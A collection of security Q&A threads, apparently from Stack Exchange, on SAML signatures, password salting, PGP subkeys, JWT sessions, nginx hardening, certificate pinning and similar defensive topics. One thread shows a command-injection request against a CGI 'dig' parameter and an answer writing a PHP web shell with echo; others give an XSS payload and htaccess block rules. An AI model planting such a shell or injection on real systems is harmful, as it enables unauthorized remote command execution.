Could a different authenticated user not alter the SAML response from their redirection to have a different known nameId. Authorizing themselves as a different user on our system?

Generally, no. The SAML response and/or the assertions contain a signature that would become invalid if the underlying XML (such as the value of the NameId attribute) were altered. The relying party verifies this signature prior to trusting the contents of the assertion.

Of course, software is software and there could be bugs at either end, e.g.

The system that generates SAML (Identity Provider) could have a bug where it allows them to specify arbitrary usernames to be placed into the assertions before the signature is added.
The receiving system (Relying Party) could have a bug where it fails to verify the signature. It should be noted that the signature can be found in multiple places in the SAML and there's a category of bugs that allow XML signature wrapping attacks to defeat the intended validation. It is not recommended to "roll your own" signature validation. Rather, depend on one of the well-tested implementations (commercial or open source) that exist for most platforms.

But these would be rather fundamental errors. The SAML specification itself is designed to protect against exactly the problem you describe. This is why you need to obtain the public key of your IDP (either via metadata or out of band) prior to receiving any SAML assertions. They sign with their private key and you verify with the public key associated.


Using two salts - one stored with the password, one stored in a random row in a separate table Imagine a login system is being created, and a user's password is hashed thusly:

Users.password = PBKDF2(salt1 + password + salt2)

The result of that ^ operation and salt1 are stored side-by-side in the same table, let's say Users.

salt2, however, is stored in a random row in a separate table called UnorderedSalts.

When a user attempts to login, the system checks their credentials by computing:

for (let i = 0; i < UnorderedSalts.length; i++)
  if (PBKDF2(Users.salt1 + input.password + UnorderedSalts[i]) === Users.password)
    return true; // Match found!

return false; // No matches were found

Since salt2 is not stored on the same row as salt and password, the computation must be repeated potentially many times before a match is found, depending on how many users are setup.

My question is this:

Would this make for a more secure system, by increasing the potential compute time?
Does this compromise the security of the password?
Or, is there no benefit at all?

You are right that "increasing the potential computation time" is good for security. That is the very basis for password hashing - slow is good!

But this is an awfully inconvenient way to make the hashing slow! For some passwords, an attacker will get lucky and crack them fast if they happened to try the right salt early. There is a risk that database files, logs or similar will leak the order hashes were created and thus give clues to what salt is linked to what account. If your site is a success, and you suddenly get a hundred times as many users, your servers will be overloaded when they have a hundred times more hashes to compute. It will be a mess.

All modern, good password hashing functions, including PBKDF2, bcrypt and scrypt, comes with built-in methods to configure the computation time. These parameters are known as "cost factors". Use them instead! It will give you a much simpler and cleaner architecture.


Is it possible to use the Linux "echo" command maliciously? While testing a web application today, I came across a function that passed arguments to dig in linux terminal. After some fiddling about I was able to pass the echo command using pipes and echo my input to the response however I failed to launch any other commands.

Now my question is that is it possible to use the echo command in a malicious way to access sensitive files on the system or gain a shell?

Here is the vulnerable GET request:

GET /cgi-mod/test.cgi?dig_device=8.8.8.8"|echo%20abc123%20|| HTTP/1.1
Host: test.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

And here is the response:

HTTP/1.1 200 OK
Server: TestServer
Date: Mon, 02 May 2016 11:03:40 GMT
Content-Type: text/html
Connection: close
Status: 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 1576

<meta charset="utf-8" /><title></title>

Yes. You can use echo maliciously. You can use > operator to redirect the output to a file where the output can be a malicious code.

echo 'Malicious_code_here' > shell.php

Lets consider a case where the webserver supports PHP and the www directory is writable. you can try something like:

echo '<?php system($_GET["cmd"]);?>' > shell.php

And you can access the shell by:

http://url_of_the_website/shell.php?cmd=whoami

Using this, you can execute arbitrary commands on the webserver.


PGP/GPG: Do I need more encryption subkeys? As far as I know after reading several tutorials, it's reasonable to create one subkey for signing per each device I use, especially one that can be stolen, like laptop. However, having multiple encryption subkeys is cumbersome since the person sending a message to me must known which key to use to encrypt their message. Am I correct?

If so, what is the risk of having one's private encryption key stolen? Is it possible to decrypt messages even after the key is revoked? Can I just create new key with my master and send public key to my friends again? And - what is most important - is it possible to decrypt messages with master key or the lost subkey is the only one that can decrypt them?

However, having multiple encryption subkeys is cumbersome since the person sending a message to me must known which key to use to encrypt their message. Am I correct?

Yes. There is not even a way to couple subkeys to user IDs or any kind of target devices.

  Is it possible to decrypt messages even after the key is revoked?

Yes. Revocation does not "destroy" the private key in any, it just marks the public key as revoked.

  Can I just create new key with my master and send public key to my friends again?

Given you revoked a subkey, the primary/master key stays valid. If you add a new subkey pair, this will have the same validity and trust the revoked subkeky pair had, as both are not assigned to the subkey, but the primary key instead.

On the other hand, revoking the primary key means your friends have to verify the key again, switching to a new primary key pretty much means "starting from scratch".

  And - what is most important - is it possible to decrypt messages with master key or the lost subkey is the only one that can decrypt them?

You can only decrypt messages using the private key it was encrypted for. If a message was encrypted for a subkey, it can only be decrypted using that subkey, the primary key cannot be used for decryption. If it was encrypted for a primary key, you need the private primary key for decryption.

It would well be possible to encrypt for both keys, but encrypting to multiple (sub)keys of a primary key is not common usage of OpenPGP.


Is code injection possible in any compiled or interpreted languages? I am wondering if it is possible to make a code injection in compiled or interpreted languages? Is there any kind of attack vector in this area?

Whit "code injection" I mean providing a code snippet as input that will be executed alongside with the program code, similar to SQL injection.

Yes, this is a real thing. But just like with SQLi you can not just exploit any program, but a poorly written one with insufficient input sanitation could be vulnerable.

Lets look at interpreted languages first. For code injection to be possible here you need to have something that takes code in a string and executes it.

In JavaScript you have the eval() function that does that. So if you do eval(untrustedData) you have yourself a vulnerability. For this reason eval() is considered "evil" and you often here the recommendation to not use it at all. There are also more sublte cases that allows execution of code from a string, like new Function() and setInterval().

In PHP you also have an eval() function, deemed so dangerous that the manual includes a warning:

  Caution: The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

So how about compiled languages? They are less vulnerable because they don't have functions that executes arbitrary code, since that code would have to be compiled first. Off course you could write a program that generates source code (from untrusted data), compiles it, and runs it. But that would be a rather odd things to do.

You could argue, as iain does, that exploiting buffer overflows is a form of code injection, since you are injecting machine code into the program. I guess it comes down to semantics if you count that or not.


Passwords: Symbols and length > 20 disallowed I'm going through a bunch of accounts at the moment changing my passwords, some of them are looking a little weak and i've reused them, but i keep coming across websites that don't allow you to use symbols in the password, including my bank.

Why would websites not allow symbols and cap the password at 20?

From what i've read length is better than symbols, but surely letting the user choose a long password with symbols is even better?

Disallowing symbols is usually a sign that someone in the development process heard about SQL injection, code injection, or cross-site scripting and decided to take a brute-force approach to preventing it rather than going to the effort of understanding what the real risks and prevention techniques are.

Length limits are either a sign that someone didn't think carefully when defining input limitations, or a sign that your password is stored directly rather than hashed and the database field only allows a certain amount of space for the password.

In the specific case that passwords are limited to 8 characters of printable ASCII, it is usually a sign that either the passwords are hashed using the obsolete DES crypt() function, or the software was developed by someone whose mind is stuck in the DES crypt() era.


Hard coded paths in archive files I am just testing some web application. In this web application, I can upload some file at least as zip archive. I came to an idea to test, if I could place a file at a specific location I want. My first idea is to put some sort of hard coded paths in a zip archive. Now, with this I have several questions:

Is this also true in zip archives: Can I put some hard coded paths within a zip archive?
If 1. is true, which tool would be good for that? Are there any specific tools for that?
Is there an official name for that sort of vulnerability?

I could place a file at a specific location I want. My first idea is to put some sort of hard coded paths in a zip archive.

It's not difficult to do, most zip archivers have a command line argument to specify hard coded paths. Example: pkzip -add -path=root ...

These vulnerabilities have been well documented https://wiki.sei.cmu.edu/confluence/plugins/servlet/mobile?contentId=88487470#content/view/88487470 .

Failure to specify the hard coded path during extraction might be caught as an "(E9) No file(s) were processed" error. Source: https://support.pkware.com/plugins/servlet/mobile#content/view/6488122 .

Any decent software checks for these attempts, once the software correctly determines where you want to write to it's up to the operating system to allow it; if properly configured the access won't be allowed.

This idea is too old to succeed, it will be blocked on many levels.

A user can't elevate their privilege by uploading a file or the web application has a serious security flaw.


What is the most secure way to set up web server user permissions? The default Debian way of setting up a common web server (Nginx) is to run the main process as root and unprivileged workers as www-data. In order to allow for the worker processes to read/execute web application files, some users chown those files to the user www-data.

I have recently read a good argument that states one should never give www-data write access to web application files but rather read and execute rights through being part of a group. I believe that would be the most secure set up I've seen but I'd love to know if anyone has better strategies.

What is the most secure way to configure the user permissions for a web application?

And as a bonus (without leaving the topic of the server itself), what other related configuration tips can you give to securing a web server beyond what you might get from the repos?

Personally I like to activate HTTPs, turn on SElinux, and do something like this in the vhost file:

## Deny access based on HTTP method
if ($bad_method = 1) {
        return 444;
}

location = /robots.txt  { access_log off; log_not_found off; }
location = /favicon.ico { access_log off; log_not_found off; }
## Disable access to hidden files
location ~ /\.          { access_log off; log_not_found off; deny all; }
location ~ ~$           { access_log off; log_not_found off; deny all; }

Also trying to control buffer overflow attacks from the nginx.conf

 ## Start: Size Limits & Buffer Overflows ##
  client_body_buffer_size  1K;
  client_header_buffer_size 1k;
  client_max_body_size 1k;
  large_client_header_buffers 2 1k;
 ## END: Size Limits & Buffer Overflows ##

And then :

NginxHttpLimitZone module should be activated.
Restrict Outgoing Nginx Connections
Directory Restrictions (configure your CMS so that it is only able to read the files it needs; or whatever you need)

The list is long, and this is just a precaution.


How does a clean desk policy provide security benefits? I'm starting to study for Security+ using Darril Gibson's book. I took the pre-exam and one of the questions is “What is the most important security benefit of a clean desk policy?”

The choices are:

Prevent illnesses due to viruses and bacteria
Presents a positive image to customers
Ensures sensitive data and passwords are secured
Increases integrity of data

The bold answer is correct, and the author's explanation is: A clean desk policy requires users to organize their areas to reduce the risk of possible data theft and password compromise.

Can someone explain what an organized desk has to do with security? I think this question only applies if the user stores his password in paper format.

Clean desks policies are rather literal in the sense they don't mean that the papers on your desk need to be organized...They mean that you're not allowed to have papers on your desk at all.   So, no papers left unlocked on a desk mean no papers with sensitive information for others to trawl through after hours.

Sensitive data doesn't only include password.  Engineering designs, sensitive communications, financial information...There is lots of data that could be on paper that a company wouldn't want left around for just anyone to find.


How should I protect an algorithm that I want to sell? I created a trading algorithm which I want to sell. People would be able to buy the "bot" at my website and it would run from there on (if this is even safe to do).
What is the best way to secure my algorithm its code? I created it in Javascript so if I run it straight on the website itself people could just F12 and see my code. I want to make it at least hard for hackers to steal my algorithm since I know that as good as everything is hackable but just not very easy.
I've been thinking of running my bot on a different server, from there all the trading for all accounts would be made. When bought or sold it would send my website a message with "buy" or "sell" so I could show users the bot bought etc. Is this a safe way?

Anything you hand to someone can be cracked, known, and ultimately under their control. You can try to make it difficult to understand or use, but that will ultimately fail.
So, you need to change your business model to retain control over the process, or not care if someone uses it without your permission.


Scan All private subnets with NMAP I have a managed switch on my network but I don't remember the subnet.

How can I scan all the private network without changing my ip address : 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

Thanks for advices

It seems like you are really looking for the tool netdiscover.

Netdiscover works by sending and listening for ARP packets. (active and passive mode). Since it is ARP, its limitation is that it only work on the same LAN (layer 2) - you cannot traverse gateway's.

You do not have to change the ip address on your interface with this tool.


Value of using passphrase on private key I am implementing HTTPS with Nginx and I generated private key with passphrase. Now I wonder what is the practice in production environment, using unprotected keys or protected with ssl_password_file directive? I don't see any value in this directive where I put passphrase in plain text. Can somebody shed some light on me about this.

Common production environments allow unattended restart. That means that the ultimate secret will have to be present on disk in plain text or in an invertible form.

So the only 2 ways are either to accept it and in your use case just install an unprotected copy of the key, and rely on the infrastructure security to protect it, or use obfuscation and try to hide the password elsewhere.

The only alternative would be the use of HSM. Unfortunately I could not find any indication on how a HSM could be used to hold the private key for nginx. A blog article from 2016 says:

  Sadly, both Apache and NGINX do not support PKCS#11 in their ssl module.

Maybe someone will be able to find a newer reference saying that it is now possible

However, it looks that Apache already has some support through an external module. Same blog says:

  For Apache you can use mod_nss to use the certificates from the HSM.


How to secure passwords over HTTP? Say my password is abc. I want to send it to the server over HTTP.

I could send it in plaintext and let the server hash it and compare it to the entries in its database, but then anyone that can see traffic over that connection would see the password in plain text.

So then I could hash it client-side and let the server just compare it without hashing since it's already hashed (or the server could even double hash, but no difference in this situation). But then again anyone that can see the traffic would see the password hashed, and then send the hashed password to the server and the server would accept it.

How do I send passwords over HTTP? Do I need to implement some encryption algorithm like RSA public key encryption? Or is this impossible?

The method should be usable in any browser.

You can't.

To securely send information over an unsecure channel, you need encryption.

Symmetric encryption is out, because you would first need to transport the key, which you can't do securely over an unsecure channel[*].

That leaves you with public key cryptography. You could of course roll your own, but you don't want to be a Dave, so that's out, which leaves you with HTTPS.

[*] You can of course try to use a secure channel to exchange the key, for example physical exchange of a key. Then you can use secret key crypto, like Kerberos.


Meeting room network security controls I am aware the meeting rooms which are outside the office premises have MAC based restrictions on their LAN port.

The meeting room does have a wired lan segment. what could possibly go wrong since the visitor (non employee) to meeting room (assuming) does not corp user credentials to authenticate and thereby subsequent provision/services wont be available.

Can anyone abuse the network without any credentials i.e guest mode

There are many attacks that can be launched from Layer 2 that would provide credentials to a user that hasn't authenticated to the corporate domain ...yet.

For example, Responder is capable of spoofing LLMNR and NBNS requests even without being connected to the domain -based on the way NBNS (and subsequently LLMNR) were designed. They are enabled by default in most environments and IT needs to explicitly disable them (which is usually not the case). In that case, without MAC filtering a rogue device may be connected to the network via the meeting room jack and obtain network level access, from their there they could perform a variety of spoofing attacks. ARP poisoning is a related attack that could also be performed.

Additionally, abuse of the corporate Internet may also occur if just any device is able to connect to the network and receive Internet access.


Recommened books for learning operation system I see other similar question here. I want to become Malware analyst. I have learn to program in Python and C++(not on expert level but fairly good). Before I continue with Assembly language I want to learn about OS. Could any of you recommend book(s) that will give me the concepts I need to know. I will be very grateful if somebody help me.

P.S. I had read the rules and I think this question isn't constructive, but I saw similar questions that aren't put on hold or closed, and I get confused. I want to apologize if this question isn't constructive.

This is probably going to be suggested by others, so I'll just throw it out here.

 Andrew S Tanenbaum's "Modern Operating Systems"

I personally have never read it, but others say great things. I have read other books by Tanenbaum and they were good.


Where can I find the detailed manual page for gpg --list-secret-keys output I get confused about the terms used in the output of gpg --list-secret-keys

For example what is the meaning of following:

sec sec# ssb  ssb>

there are many codes being used in the output. Can anyone point to the official docs where everything is explained?

I found this link but nothing is explained there.

[sec] - The following is a secret key
[ssb] - The following is a secret sub key

The meaning of # after each of these is that the key is not usable, if say, you used the export subkeys option or if the key is otherwise taken "offline".

The meaning of > is that the key is stored on something like a smart card.

You can find more info here at Ubuntu's man page for GPG
and the documentation you reference has been moved to here at GnuPG.org.


How does responsible disclosure work, once vendor says it's not a security bug? I have identified a software bug in a platform, one that causes leakage of possibly private information in situations where an app developer on that platform might not expect such leakage. It's not something that is especially easy to exploit, but it is certainly possible. It's somewhat convoluted for an app developer to fix, but I have some proof-of-concept code that helps resolve the problem, at least in some scenarios.

I filed a security bug report with the platform vendor. After initially agreeing that it is a security bug ("Moderate" severity), they have now come back and stated "this is currently working as intended" and "we have determined there isn't a security impact". This was 10 days after filing the report, and their guidelines request a 90-day responsible disclosure timetable.

Given their "working as intended"/"isn't a security impact" response, am I under any obligation to continue to sit on this for the remaining 80 days? Or can I start advising affected developers on how to work around this bug?

You are not "obliged" to follow any such practise. Not following them may simply mean that you won't be eligible for some goodies. Or that they can't properly provide a fix.

As for the disclosure itself, it would be ethical in my opinion not to wait for the remaining 80 days.

There's a notorious case of a security researcher that used its not-a-bug on Facebook to post on Mark Zuckenberg's wall (and Facebook "surprisingly" treated him as if he was exploiting a bug).

I would recommend asking again, so you get an explicit statement from their part that they are not interested in the disclosure being embargoed. As an alternative, you may also tell them that you consider it's no longer and thus you will disclose it in eg. 1-2 days from your message unless they tell you otherwise.

It's not so uncommon that some vulnerabilities are initially triaged as not-bugs but later reassessed after they better understand it. You may insist trying to convince them. In which case you should wait before moving into the "I will disclose it now" phase.


Infected PC: How can you reformat and reinstall Windows without the infection spreading via the installation media? Despite extensive internet research, I have not seen anyone answer this question. I'm definitely no computer expert so maybe I'm just missing something but...here goes.

Say my computer is infected and I want to be absolutely positive I've removed the malware. So, I decide to reformat all internal drive partitions and reinstall Windows completely, using an SD card I created when I first got the computer as installation media.

How can this be done without the virus potentially (automatically) transferring to, and then returning from the installation media itself?

Every guide I've read instructs that the reformatting be accomplished via the new installation media (e.g. using Windows Setup). This does make sense to me, because I suppose you can't format using only the internal hard drive, being as all the software there will be wiped out, leaving nothing left to "do" the formatting.

But here's what I don't get: being as the installation media will thus necessarily be inserted prior to formatting, couldn't the virus immediately spread automatically from the computer to the installation media, and then spread right back to the computer after formatting, thus making reformatting useless for removing automatically spreading viruses?! I thought reformatting was a guaranteed last resort.

Create the installation media yourself:  Download the legitimate Windows (from Microsoft Directly) ISO to a second computer, and use the provided legitimate Windows Bootable USB tool (Also provided by Microsoft).  Using a second, completely virus free computer mitigates the risk of anything corrupting your new media.

If you'd like to recover information from your old drive - you could take that drive out and attach it to a second system - gather documents you want, which does have a risk attached to it, and then format the disk on the second PC before installing a new copy of Windows on it.


JWT token login and logout Hi I am creating mobile native application that uses REST API endpoints to communicate with server side.
I have had previous experience developing native clients, but I have simple token (random generated string) stored in DB in the same table where user information is stored. So it is like sessions used in browser, but instead of cookies each request has token in the header.

Recently I discoreved JWT token. It seems to be great way to secure endpoints which are private. You can request token from mobile client providing you pass + login and get generated token in response.
But the one important thing is that this token is not stored anywhere on the server, server verifies the token using secret word, which is private for the server like private key.
That's okay for secured endpoints, but what to do if I require user session, for example how do apps like Facebook, Amazon, Aliexpress ... work, they have ability to use the app without providing credentials, just navigating through the store, but require logining in when user want't to make purchase. And after that user session is kept for some time. This can be implemented with the JWT token without any problems, but when user need to logout, what to do in this case ? Token is not stored anywhere on the server, so how can I destroy this token, to make it invalid ?

If token is stored in the database, API is not stateless, as REST API should be. So in general there is no way to keep user logged in in stateless API, am I right ?

I have some ideas how to implement this using JWT token, but again this will not be stateless API, as I understand.

Create the list of expired tokens
Store JWT token in the database, but what is the purpose of self descriptive token (JWT) in this case if it is stored in the database, the main idea of JWT token to keep all information with token, as I know.

Please suggest what is the best way will be in this case, and correct me if I have mistaken.
Thanks.

JWT tokens are primarily designed as an assertion mechanism i.e. provide the relevant user information to allow server to "know" the user on whose behalf operation is being performed. JWT is perfect for following scenario

You can not access user information on server side without user's involvement but you need some basic information for offline calls.
JIT provisioning i.e. to transfer user details from one site to another (aka federation).
Session/Stateless operation with limited data i.e. you need specific user data with each transaction but do not have concept of session (e.g. API, event processing system)

Even though it seems to be used for session, I think, it is not the best used for the same.

OAuth is more appropriate, I think, for session management. It is designed with basic concepts like refresh token (session extension in case of session expiry), access token (session id) which easily maps to session management concepts. In case of OAuth, authentication method (like JWT) is for server to decide. After that only thing client needs for the duration of session is an access token (similar to session id). The biggest issue I have seen being raised is that access token and refresh tokens need to be stored and managed on server. If you are easily able to map the access token to session id, I think you can remove that need. But given that you are already working on storing JWT, this should be a non-issue for you.


can HPKP certificate pinning disable DPI inspection on firewall? Is it possible that Firefox and Chrome disable pin validation for users who imported custom root certificates all pinning violations are ignored. What is impact of that? Will browser report any warning?

can HPKP certificate pinning disable DPI inspection on firewall?

No, HPKP has not automatic affect on the firewall and how it does DPI.

  Is it possible that Firefox and Chrome disable pin validation for users who imported custom root certificates all pinning violations are ignored.

That's not only possible but this is actually the case. Pinning will be disabled if the certificate is signed by a CA which was explicitly imported as trusted. This is explicitly done to make legal SSL interception as done in firewalls but also desktop antivirus products possible.

  What is impact of that? Will browser report any warning?

The impact of this is that SSL interception is possible even if certificate pinning is used. Browsers will not show any warning. Users can detect interception by looking at the certificate details. And, they will see that sites which usually have EV certificates (i.e. green URL bar) will not have an EV certificate any longer. Apart from that no difference can be seen.

SSL interception of course have various impacts. Most of these are not specific to HPKP so I will not discuss these here. But there is one impact specific to HPKP: most SSL interception solutions will not check if the pinning information in the HPKP header match the certificate they just got and they will also not save HPKP information like the browser does and check if they get the expected certificate later. This means that the HPKP is essentially ignored in case of SSL interception, both by the SSL interception product and by the browser behind it.


How safe is it to disable DEP for a program? I've been playing a game and there is a private server (with around 2k population) that asks us to turn off DEP for their game, I read about what it does but I don't understand what the consequences can be. Will it be safe for me to turn off DEP for that game only? (I believe they require it to use their protection against bots, macros, etc.)
What consequences can I have?

You should not turn off DEP.

DEP allows a program to selectively mark areas in a program's memory as executable, and areas in memory not marked as executable cannot be executed. This makes various vulnerabilities harder to exploit, especially those that involve overwriting memory with malicious code and then executing that code. The implications of disabling DEP is that a program is much easier to exploit successfully. For an online game, the primary risk is that someone can hijack your computer remotely by exploiting a bug in the game, so you should leave it on. I'm not sure why turning off DEP would have any impact on the ability to use bots or macros though. In fact, having DEP on is more likely to prevent tampering.

See also How do ASLR and DEP work?


SSL: Do certificate authorities know anything about a website's users? I'm wondering about how much sense this sentence makes."I'm using a self signed certificate because i don't want trusted authorities to learn anything about my users". CA's just sign the server's certificate with their private key they don't need to know anything about the users, right?

During the certificate validation the client might contact the CA controlled OCSP responder to check for certificate revocation. Thus, while the CA does not know what exactly the client visits (i.e. does not see traffic and could not decrypt it if it sees it) it might get at least an association between the clients IP address and the certificate of the visited site.

The way around this is OCSP stapling where the server already provides the (CA signed) OCSP response and the client does not  have to access the CA. This is also recommended for performance since the client does not need to create an additional connection for OCSP lookup and wait for the result.


How often ciphers are used through an IPSEC session I’m wondering how often a terminal needs to perform a cryptographic hash (ex: SHA) throughout the lifetime of an IPSEC session where both ends are authenticated using certificates. From what I can gather and from a client perspective:

A client connects to a server, fetches its certificate and performs an asymmetric encryption function (ex: RSA) and SHA to validate the certificate’s signature
The client and server perform Diffie-Hellman to agree on a symmetric key what will be good for hours using each other’s public keys where I would a assume they use RSA and SHA functions 4 more times
Both carry one for hours using strictly AES and the symmetric key to encrypt the payload which integrity can be checked within the payload using a simple CRC. Not all packets are signed (otherwise RSA would be required every time and Diffie-Hellman would be pointless).

So my assumption would be that RSA and SHA are used fives time only at connection and possibly four times each time the symmetric key is renewed (typically every 24 hours, although I assume that the previously established tunnel could be used to renew the symmetric key). Is this correct? I was told we can’t use SHA-2 on a platform due to the lack of support of the cryptographic accelerator. Thanks.

which integrity can be checked within the payload using a simple CRC

Not a simple CRC. Classic IPsec cipher suites usually use HMACs based on cryptographic hash functions (e.g. SHA-1/2) so verifying and creating Integrity Check Values (ICV) for every ESP packet will require several applications of the negotiated hash function.  However, there are alternative integrity algorithms based on encryption algorithms (e.g. AES-XCBC-96) if you wanted to avoid the use of hash functions (or have hardware acceleration for AES). And there are, of course, combined-mode ciphers (aka AEAD) e.g. AES-GCM, which generate/verify ICVs while encrypting/decrypting the packet in one pass.


SNORT alert for Trufflehunter SFVRT 3:29312:1 I am seeing this Snort alert show up multiple times a day, but my Google-foo is failing me, as I can not find any information about this alert on the internet.  Can anyone point me in the direction for more information about this particular alert? Also, if anything in particular should be done?

CRITICAL - (2 errors in snort.protocol-2014-06-12-04-47-09) - 06/12-04:43:47.771462  [**] [3:29312:1] MISC TRUFFLEHUNTER SFVRT-1013 attack attempt [**] [Classification: A Network Trojan was Detected] [Priority: 1] {ICMP}

Thanks,

This is Patrick from VRT.  That rule is a "truffle," which means it detects a security incident for which we unfortunately cannot provide additional information due to NDA restrictions.  I would be quite interested if you could share some alert pcaps for this rule so I could let you know if they are indeed malicious or not.  You can either PM me here and I'll give you my direct Sourcefire email address or you can find me on Freenode in #snort as "phoo".

In the mean time, you should investigate the device for a malware infection and watch for any additional suspicious traffic coming from this host.  But please do send me some pcaps as I would love to examine them and either confirm the traffic is malicious or fix the detection.

Thanks,

~Patrick


Are latency based Proof-of-Work systems capable of preventing DDoS attacks on popular hidden tor services (.onion websites)? I was reading an interesting article found here: http://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-703.pdf

It's titled "Lazy Susan: dumb waiting as proof of work".

It suggested the following in section 3.1.1:

  Consider as a strawman a system in which the server responds to a
  client’s request with a delay(d) message, where d is some time that
  the client must delay before continuing the communication. If the
  client does not respond after d ticks then the server will simply drop
  the request. If and only if the client responds after a delay of at
  least d ticks will the server process the client’s request. Earlier
  requests by the client are ignored, or worse, cause the server to
  disconnect the client. We will later demonstrate how the latter
  technique can be securely implemented as a variant of SYN cookies [9]
  (§3.1.2).

I assume that this technique would be impossible to implement from behind a tor hidden service because it would be impossible to differentiate clients by IP address.

Thoughts?

The article you quote applies their latency system on SYN packets, the first step of a TCP handshake. For the attacker, SYN flood attacks are attractive because they work well with IP spoofing: since the attacker does not need to see the response packets from the server (the SYN+ACK), then the attacker can use a fake source address, and thus remain "hidden". None of this really applies to a Tor hidden server, because, by definition, the attacker cannot know the true IP address of the server. Indeed, when accessing a server through Tor, any client talks to it only through several successive routers, and the router which actually talks to the hidden server will not be the attacker's machine (or, at least, so we hope) -- thus, no SYN flood.

(Or, more accurately, an attacker can SYN flood any Tor relay node, but cannot know which relay node is actually his specific target site.)

The principle of latency might still be applied, at a higher level. It exists in the case of emails; this is called Greylisting. Upon first connection, the email sender is being temporarily rejected, and informed that it should try again later on. Only if it comes back after a few minutes (or hours) then the email is accepted as genuine. This assumes that the spammer won't allocate resources to remember the email sending, thus won't come back.

Translated to a Web context, this would take the form of a special HTTP response "come back later" which would include a secret token computed by the server, to be included in the response, so that the server knows that it is "the same client" than previously. Doing that without allocating too much memory on the server can be tricky (encoding dates, counters and a MAC in the token can help). However, a big issue remains: this system needs client cooperation. We cannot rely on the attacker for cooperating...

Latency-based systems work as long as the server can know when a given client is coming back, but also when this is a new client. This must work both ways: a returning client must be able to prove that it is the same client than previously (the "secret token" alluded to above can do that), but it must not be able to masquerade as a whole new client when it is actually a returning client. The privacy features of Tor effectively prevent that. Indeed, if any connection could be unambiguously identified as "new client" or "same client than previously", then client tracking would be too easy.

Thus, we can say that Tor is indeed incompatible with anti-DDoS systems which rely on client tracking, including latency-based system.


Does this htaccess snippet provide sufficient security? I've downloaded a part of .htaccess to prevent from using base64_encode or <script> or _REQUEST within URL. Is this secure enough to help me out for partial security, or is it just a waste of time and resources?

RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F]

It is partial security as you mentioned, but this blacklisting approach will get you nowhere. For one, these snippets supposedly protect you from various attack vectors:

base64_encode looks for (most likely) PHP Remote Code Execution payload
script rule tries protect from XSS
the others are weird and possibly related to RCE or old PHP vulnerabilities where you could overwrite global variables.

Obfuscation

All of the rules you give are very simple to bypass, even with basic obfuscation. For example, XSS payload does not require <script> at all. For example, attacker might execute Javascript by sending <img src=1 onerror=js_code_here> and many, many other ways.

Obfuscation techniques are really advanced now and are often used to bypass application filters. If you're interested in obfuscation techniques, I recommend you read "Web Application Obfuscation" - it's an excellent book describing multiple ways of dealing with the filters you described.

What should I do then?

If you want to protect from malicious input to your application, the only way is to do both positive (i.e. not based on a blacklist) input validation and output escaping - you already should know how to do that from your previous question.

Web Application Firewalls

If you don't have control over application code (e.g. it's a legacy code deployed on a server that you need to maintain) or wish to take the 'defense in depth' route think about implementing Web Application Firewall e.g. based on mod_security. These firewalls are still base on a blacklists, so they won't offer 100% protection, but these blacklists are way more complete than the one you cite. For example, look at the problems mod_security faced & fixed when they announced a contest to bypass their SQL injection protection

Having said that, it's always best to fix the code of vulnerable application than to try to hide the vulnerability behind a firewall rule.


Is it possible to recover a lost passphrase for a private key file? We have a set of public and private keys and certificates on the server. The problem is that while public encryption works fine, the passphrase for the .key file got lost.

So, when trying to execute the following command:

openssl rsa -in the.key

It will obviously ask for the passphrase. Is it possible to get the lost passphrase somehow?

The whole point of having a passphrase is to lock out anyone who does not know it. Allowing it to be recovered would defy the principle and allow hackers who get access to your certificate to recover your keys.

So no, there is no such thing.

What you should do is declare the keys as lost to the issuer so that they revoke your certificate. Then, you have to create a new one from scratch.


How to sign a text in a way, so it can not be altered or split in parts unacknowledged Given, I want to create a document (text-only for the sake of this question) and give it to someone I do not trust. I am not allowed to publish it myself. It's probably not going to be published (publicly) anyway.

But in case it is published later on, I want to make sure:

that it was not altered
that it was not be split up in part (or
parts omitted)

and be claimed that the altered version was mine.

What options do I have with today's (broadly available) technology to prevent changes?

Context

Think about Robert Mueller handing over his report on the Russia investigation to William Barr. He may want to make sure, that there will be no manipulations to the report.

Note: This is not an email, so classic email signing will probably not work.

Note2: It should prove the readable text, not a digital blob

Note3: It should be verifiyable by the broad public, not only by some specialists.

What I tried

Here's what I would do today: (But I hope someone comes up with a better way, addressing especially Note3 more usefully)

create a PDF
Create an SHA256 hash sum of it
Tweet the hash sum publicly
hand over the document to the untrusted party.

However, this solution is

not easily proovable by the broad public
does not allow to take a printed or otherwise published text and proove it from there
It's not sure, whether I might be allowed to publish the hash sum when I am not allowed to publish the full document

Firstly, Make your work a notarized document. Establish a legal contract with the third party to publish your work without alteration. As far as I know, in most countries, without a contract you will remain the sole owner of your work.

Secondly, publish the hash of your document as you suggested.

When the third party publish an altered version of your document, they will break the contract and you will not be bound by it anymore. Then, you will be able to prove ownership of the original by publishing it and pointing to the hash, and in front of a court you will be able to produce the contract and the notarized document.

I'm not a lawyer and I do not know the law where you live, so you might want to seek a proper legal counsel. Especially about agreeing to a contract that covers yourself in case of a dispute.


What are the risks of posting my email address to pwnedlist.com? pwnedlist.com claims to have details of over 23 million accounts that have been hacked, and if you submit your email address they'll apparently tell you if you're in the database.

Are the people running the site are reputable, or might they add your email address to a database of worthwhile targets? (perhaps ignore the latter part of that question, as it's unanswerable)

Has anyone personally used the site? If your email is on the list, what information are you given? (They just say you can "see if it's on our list.") Are there any issues with submitting someone else's email address?

I'm sure spammers have created sites like to get lists of email addresses but...

  You can also use a SHA-512 hash of your email as input

based on this I think you can just submit your SHA-512 and not worry about spam since if they can reverse the hash it means they've already got your address, and aren't collecting new ones: The only information you are giving them is that your email is active, you care about security and your IP and useragent.

(Although I reject the value of such sites.. just change your password if you are worried)

